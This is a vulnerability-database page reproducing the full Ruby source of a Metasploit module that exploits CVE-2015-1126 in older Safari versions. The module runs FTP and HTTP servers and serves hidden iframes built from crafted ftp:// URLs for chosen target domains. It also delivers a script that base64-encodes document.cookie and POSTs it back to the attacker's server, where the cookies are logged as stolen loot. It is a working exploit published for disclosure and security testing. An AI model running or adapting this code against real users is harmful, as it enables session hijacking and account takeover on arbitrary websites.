Lucene search
K

Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft

🗓️ 31 Aug 2024 00:00:00Reported by Jouko Pynnonen, joev, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 237 Views

A vulnerability in pre-April 8, 2015 versions of Apple OSX, iOS, and Windows Safari allows theft of non-HTTPOnly cookies of any domain

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::FtpServer  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',  
'Description' => %q{  
A vulnerability exists in versions of OSX, iOS, and Windows Safari released  
before April 8, 2015 that allows the non-HTTPOnly cookies of any  
domain to be stolen.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Jouko Pynnonen', # Initial discovery and disclosure  
'joev', # msf module  
],  
'References' => [  
[ 'CVE', '2015-1126' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ]  
],  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer',  
'DisclosureDate' => '2015-04-08'  
))  
  
register_options([  
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),  
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),  
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),  
OptString.new('TARGET_DOMAINS', [  
true,  
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',  
'apple.com,example.com'  
])  
])  
end  
  
  
#  
# Start the FTP and HTTP server  
#  
def run  
start_service  
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")  
start_http  
@http_service.wait  
end  
  
  
#  
# Handle the HTTP request and return a response. Code borrowed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http(opts={})  
# Ensture all dependencies are present before initializing HTTP  
use_zlib  
  
comm = datastore['ListenerComm']  
if comm.to_s == 'local'  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
# Default the server host / port  
opts = {  
'ServerHost' => datastore['SRVHOST'],  
'ServerPort' => datastore['HTTPPORT'],  
'Comm' => comm  
}.update(opts)  
  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
opts['ServerPort'].to_i,  
opts['ServerHost'],  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
},  
opts['Comm'],  
datastore['SSLCert']  
)  
  
@http_service.server_name = datastore['HTTP::server_name']  
  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
  
proto = (datastore['SSL'] ? 'https' : 'http')  
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  
  
if opts['ServerHost'] == '0.0.0.0'  
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")  
end  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
end  
  
#  
# Lookup the right address for the client  
#  
def lookup_lhost(c=nil)  
# Get the source address  
if datastore['SRVHOST'] == '0.0.0.0'  
Rex::Socket.source_address( c || '50.50.50.50')  
else  
datastore['SRVHOST']  
end  
end  
  
#  
# Handle the FTP RETR request. This is where we transfer our actual malicious payload  
#  
def on_client_command_retr(c, arg)  
conn = establish_data_connection(c)  
unless conn  
c.put("425 can't build data connection\r\n")  
return  
end  
  
print_status('Connection for file transfer accepted')  
c.put("150 Connection accepted\r\n")  
  
# Send out payload  
conn.put(exploit_html)  
c.put("226 Transfer complete.\r\n")  
conn.close  
end  
  
#  
# Kill HTTP/FTP (shut them down and clear resources)  
#  
def cleanup  
super  
  
# clear my resource, deregister ref, stop/close the HTTP socket  
begin  
@http_service.remove_resource(@uri_path)  
@http_service.deref  
@http_service.stop  
@http_service.close  
@http_service = nil  
rescue  
end  
end  
  
  
#  
# Ensures that gzip can be used. If not, an exception is generated. The  
# exception is only raised if the DisableGzip advanced option has not been  
# set.  
#  
def use_zlib  
unless Rex::Text.zlib_present? || !datastore['HTTP::compression']  
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")  
end  
end  
  
  
#  
# Returns the configured (or random, if not configured) URI path  
#  
def resource_uri  
return @uri_path if @uri_path  
  
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))  
@uri_path = '/' + @uri_path if @uri_path !~ /^\//  
@uri_path  
end  
  
  
#  
# Handle HTTP requests and responses  
#  
def on_request_uri(cli, request)  
if request.method.downcase == 'post'  
json = JSON.parse(request.body)  
domain = json['domain']  
cookie = Rex::Text.decode_base64(json['p']).to_s  
if cookie.length == 0  
print_error("#{cli.peerhost}: No cookies found for #{domain}")  
else  
file = store_loot(  
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'  
)  
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")  
print_good(file)  
end  
send_response(cli, 200, 'OK', '')  
else  
domains = datastore['TARGET_DOMAINS'].split(',')  
iframes = domains.map do |domain|  
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'  
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>  
</iframe>|  
end  
  
html = <<-HTML  
<html>  
<body>  
#{iframes.join}  
</body>  
</html>  
HTML  
  
send_response(cli, 200, 'OK', html)  
end  
end  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message='OK', html='')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res['Content-Type'] = 'text/html'  
res.body = html  
  
cli.send_response(res)  
end  
  
def exploit_html  
<<-HTML  
<html><body>  
<script>  
var p = window.btoa(document.cookie);  
var x = new XMLHttpRequest();  
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")  
x.setRequestHeader('Content-type', 'text/plain');  
x.send(JSON.stringify({p: p, domain: document.domain}));  
</script>  
</body></html>  
HTML  
end  
  
def grab_key  
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 24.3
EPSS0.65446
237